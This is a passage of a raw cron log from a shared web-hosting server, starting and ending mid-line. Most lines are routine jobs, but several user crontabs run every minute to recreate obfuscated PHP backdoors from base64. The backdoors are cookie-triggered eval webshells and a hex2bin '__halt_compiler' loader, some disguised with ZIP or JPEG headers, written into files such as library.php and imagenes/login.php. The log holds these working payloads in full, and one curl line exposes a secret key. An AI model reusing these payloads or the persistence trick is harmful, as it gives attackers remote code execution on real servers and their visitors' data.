ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:21:02 medusa CROND[12679]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:21:02 medusa CROND[12680]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 15:21:02 medusa CROND[12685]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:22:01 medusa CROND[30255]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 15:22:02 medusa CROND[30539]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:22:02 medusa CROND[30542]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:22:02 medusa CROND[30545]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:22:02 medusa CROND[30549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:22:02 medusa CROND[30551]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:22:02 medusa CROND[30550]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:22:02 medusa CROND[30552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:22:02 medusa CROND[30546]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:22:02 medusa CROND[30553]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:22:02 medusa CROND[30554]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:22:02 medusa CROND[30555]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:22:02 medusa CROND[30558]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 15:22:02 medusa CROND[30560]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:23:02 medusa CROND[18292]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:23:02 medusa CROND[18293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:23:02 medusa CROND[18294]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 15:23:02 medusa CROND[18295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:23:02 medusa CROND[18296]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:23:02 medusa CROND[18297]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:23:02 medusa CROND[18304]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:23:02 medusa CROND[18305]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:23:02 medusa CROND[18312]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:23:02 medusa CROND[18315]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:23:02 medusa CROND[18311]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:23:02 medusa CROND[18316]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:24:01 medusa CROND[6700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:24:02 medusa CROND[6923]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:24:02 medusa CROND[6924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:24:02 medusa CROND[6930]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:24:02 medusa CROND[6931]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:24:02 medusa CROND[6932]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:24:02 medusa CROND[6934]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyA